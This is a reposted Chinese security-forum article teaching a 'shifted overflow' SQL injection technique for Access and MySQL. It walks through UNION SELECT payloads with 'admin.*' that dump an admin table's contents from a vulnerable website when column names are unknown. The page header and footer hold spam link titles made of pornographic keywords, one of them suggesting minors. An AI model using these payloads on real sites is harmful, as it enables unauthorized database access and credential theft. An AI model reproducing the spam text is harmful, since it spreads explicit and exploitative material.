麻豆小视频在线观看_中文黄色一级片_久久久成人精品_成片免费观看视频大全_午夜精品久久久久久久99热浪潮_成人一区二区三区四区

首頁 > 開發 > 綜合 > 正文

移位溢注:告別依靠人品的偏移注入

2024-07-21 02:51:58
字體:
來源:轉載
供稿:網友

本文屬于i春秋原創文章現金獎勵計劃,未經允許嚴禁轉載。

介紹:

在access數據庫類型注入的時候,我們獲取不到列名(前提是有表名),一般會選擇使用偏移注入,但是這種注入方式往往借助的是個人的人品,且步驟繁瑣。本文中我們研究了一種新的注入技術讓“偏移注入不在需要人品”。在這里定義這種注入技術為:“移位溢注技術”。它適用于ACCESS和MySQL(任何版本)正文:我們先來看看普通的偏移注入步驟:1.判斷注入點2.order by 判斷長度3.判斷表名4.聯合查詢5.獲取表中列數:union select 1,2,3,4,..,* from TABLE6.開始偏移注入:TABLE as a inner join TABLE as b on a.id=b.id由于步驟6的方法過于需要人品值,且語句繁瑣,因此在這里,我們研究新的注入技術:首先來看看步驟6語句的整體意思:步驟6的語句,表示給TALBE取2個別名,然后分別用別名取查詢TALBE的內容(表a和表b);而on a.id = b.id 這樣的條件是為了滿足語法需求,實際并沒有作用,因為相同內容的表,相同字段內容一定相同。這時,我們再回過頭來看步驟5:由于聯合查詢中select后面添加數字的目的是為了讓聯合查詢返回接結果和網站正常查詢返回的結果的列數一致(不一致數據庫會報錯,頁面無法顯示),且*表示通配符,可以表示整個表格所有列;因此這里通過數字來占位,并使用*來替代TABLE中的所有列,使得聯合查詢可以完成,并推算出*的值。這時候我們繼續研究偏移注入的整體公式方法,發現即使使用多級偏移注入也需要一定的概率(人品值)才可以得到想要的結果,所以我們就嘗試研究新的方法能不能替換這種不固定概率的方法。現在我們重新整理一下SQL語句,從聯合查詢開始:1.原union語句:union select 1,2,3,..,p..,n from TABLE(p=頁面爆出的數字,可能有多個p1,p2..;n=原網站查詢的總列數;TALBE=我們獲得的表名;下面開始就使用上述字母的定義)2.新語句:union select 1,2,3,..,p-1,TABLE.*,p+k,..,n from TABLE where 字段名 = 字段內容  --在p的位置爆出TALBE表中第一個字段的內容(其他位置還可能爆出更多內容)(這里如果存在已知字段名可以使用,沒有就不用,一般id這個字段時存在的,可以使用id = 1來顯示第一行)union select 1,2,3,..,p-2,TABLE.*,p+k-1,..,n from TABLE where 字段名 = 字段內容--在p的位置爆出TALBE表中第二個字段的內容(其他位置還可能爆出更多內容)union select 1,2,3,..,p-3,TABLE.*,p+k-2,..,n from TABLE where 字段名 = 字段內容--在p的位置爆出TALBE表中第三個字段的內容(其他位置還可能爆出更多內容)注:這里一定是TALBE.*而不是*3.1 以此類推可以爆出TALBE的每一列內容。3.2 如果p<k則沒法爆出p+1列至k列的內容,如果n-p<k則無法爆出第1列至k-(n-p)列。原理:1.由原語句:union select 1,2,3,..,p..,n-k,* from TABLE 可以得出該聯合查詢的目的是構造和原網站相同列數的查詢結構,使得頁面上可以顯示對應的數字;這條語句相當于是做了兩次查詢并將它們的結果合并,第一次做了select 1,2,3,..,n-k from TALBE ,第二次做了select * from TALBE ,然后將它們的結果合并。這可以參考mysql的語句:select 1,2,3,4,5,admin.* from admin;2.只要滿足原理1的要求,保障聯合查詢的結果和原網站查詢的結果列數一致即可;因此可以將TALBE.*向前移動至頁面顯示的數字處來爆出TALBE列中的內容。這可以參考mysql的語句:select 1,2,3,4,5,6,7,8,9,10 from news where id =1 union select 1,2,3,4,5,6,7,admin.* from admin;select 1,2,3,4,5,6,7,8,9,10 from news where id =1 union select 1,2,3,admin.*,7,8,9,10 from admin;注:假設數字4、5在頁面顯示。由下圖可知,其實數據已近查詢出來,但是頁面沒有顯示,這個是通過平移查詢結果到頁面顯示的數字上去,即可爆出敏感字段。例子:步驟1:判斷注入點是否存在步驟2:判斷字段長度:order by 35 步驟3:獲得表名(必備條件)   and exists(select * from admin)步驟4:獲取不了列名(當嘗試多個常用字段名以后,最終還是發現無法獲得字段名)步驟5:使用聯合查詢(union select)步驟6:使用新注入技術方法(1)獲取admin表的列數:UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,* from admin                         --返回錯誤頁面UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,* from admin                              --返回錯誤頁面UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,* from admin                                    --返回錯誤頁面UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,* from admin                                          --返回錯誤頁面。。。UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,* from admin                                                    --返回步驟5頁面,因此admin表的列數為6(2)由于網頁中包含連續數字,表示可以顯示連續的查詢結果,構造SQL語句查詢前四列第一行。UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,admin.*,34,35 from admin(3)由第一行第一列內容為1,可以猜測該表有id字段,因此修改語句獲取其他行。UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,admin.*,34,35 from admin where id = 3總結

在這里我們命名這種新注入技術為"移位溢注"。由此如果MYSQL小于5.0的情況下所具備的條件和ACCESS一樣,也可以使用此方法注入,如果是MYSQL大于5.0的版本,使用此方法可以省去獲得列名的步驟。


發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 日本一区二区在线看 | 日韩黄色片网站 | 久久99精品视频在线观看 | 亚洲精品一区二区三区在线看 | 毛片免费观看视频 | 韩国一级免费视频 | 91在线视频观看 | 欧美精品18 | 日本xxxx色视频在线观看免费, | av电影在线网 | 激情小说色 | 国产精品久久久久久久av | xxx日本视频| 未成年人在线观看 | 日韩视频在线观看免费 | 一区二区国产在线 | 黑人一级片| 午夜激情视频免费 | 欧美日本色 | 国产在线精品区 | 操穴视频| 久久96国产精品久久久 | a视频在线播放 | 国产毛片毛片毛片 | 国产精品嘿咻嘿咻在线播放 | 亚洲电影在线播放 | 国产婷婷一区二区三区 | 欧美巨根 | 女人裸体让男人桶全过程 | 国产91精品久久久久久 | 国产一区二区高清在线 | 天天草夜夜 | 欧美日韩夜夜 | 欧美精品日日鲁夜夜添 | 亚洲va久久久噜噜噜久牛牛影视 | 国产精品久久久久久久娇妻 | 精国产品一区二区三区 | 欧美一级aa免费毛片 | 国产精品午夜未成人免费观看 | 黄视频网站免费 | 深夜免费观看视频 |